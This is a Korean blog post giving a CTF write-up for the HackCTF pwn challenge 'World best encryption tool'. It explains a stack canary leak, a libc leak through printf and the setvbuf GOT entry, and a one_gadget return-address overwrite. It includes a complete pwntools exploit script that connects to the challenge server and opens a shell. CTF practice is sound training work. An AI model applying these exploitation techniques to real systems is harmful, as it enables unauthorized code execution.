상세 컨텐츠

본문 제목

[HackCTF] World best encryption tool

SYSTEM HACKING/HackCTF

by koharin 2020. 3. 9. 22:05

본문

728x90
반응형

# checksec

 


# process

 

1. canary leak

 

 

canary leak하는 페이로드는 src에 보낸다.

 

 

2. libc leak

 

출력하는 기능을 하는 함수로 leak을 해야 하는데 printf@plt를 사용해야 제대로 leak이 됐다.

그리고 leak하는 함수는 널 바이트를 포함하지 않는 함수를 사용한다.

setvbuf 함수를 사용하니까 됐다.

 

 

libc leak한 것으로 one_gadget 주소를 구하고 src에서 입력할 때 return address를 one gadget으로 덮으면 된다.

 

 

마지막에 No를 입력해야 mainret으로 뛸 수 있다.

(위에서도 mainret으로 뛰기 위해 페이로드 전달 후 No를 입력했었다.그리고 rop main 주소를 줘서 다시 main으로 뛰도록 했다.)

 

 

1) canary leak -> return address 덮기 위해

2) libc leak -> rop 진행, Nomainret으로 뛰도록 함. Libc leak 후 다시 main으로 입력받기 위해 main 함수 주소 줌.

3) return address => one gadget ->src에 입력 시 어짜피 xor0x31만 하고 scanf 입력받으므로 canary를 주고 retur naddressone gadget으로 덮으면 된다.

 


# exploit code

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./World_best_encryption_tool")
p = remote("ctf.j0n9hyun.xyz", 3027)
elf = ELF("./World_best_encryption_tool")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p1ret = 0x4008e3

p.sendlineafter("Your text)\n", 'A'*0x38 + 'B')
p.recvuntil('B')
canary = u64("\x00"+ p.recv(7))
log.info("canary : "+hex(canary))

#gdb.attach(p, 'b*main+171')
pay = '\x00'*64 + '\x00'*56 + p64(canary) + 'D'*8 + p64(p1ret) + p64(elf.got['setvbuf']) + p64(elf.plt['printf']) + p64(0x400727)
p.sendlineafter("\nWanna encrypt other text? (Yes/No)\n", 'Yes')
p.sendlineafter("Your text)\n", pay)

p.sendlineafter("\nWanna encrypt other text? (Yes/No)\n", 'No')

setvbuf = u64(p.recv(6)+"\x00\x00")
log.info("setvbuf : "+hex(setvbuf))
libcBase = setvbuf - libc.symbols['setvbuf']
one_gadget = libcBase + 0xf02a4

pay = '\x00'*64 + '\x00'*56 + p64(canary) + 'D'*8 + p64(one_gadget)
p.sendlineafter("Your text)\n", pay)

p.sendlineafter("\nWanna encrypt other text? (Yes/No)\n", 'No')

p.interactive()

 

# exploit

 

 


 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] j0n9hyun's secret  (0) 2020.03.25
[HackCTF] Welcome_REV (Reversing)  (0) 2020.03.09
[HackCTF] babyheap  (0) 2020.03.09
[HackCTF] 풍수지리설  (0) 2020.02.28
[HackCTF] Register  (0) 2020.02.10

관련글 더보기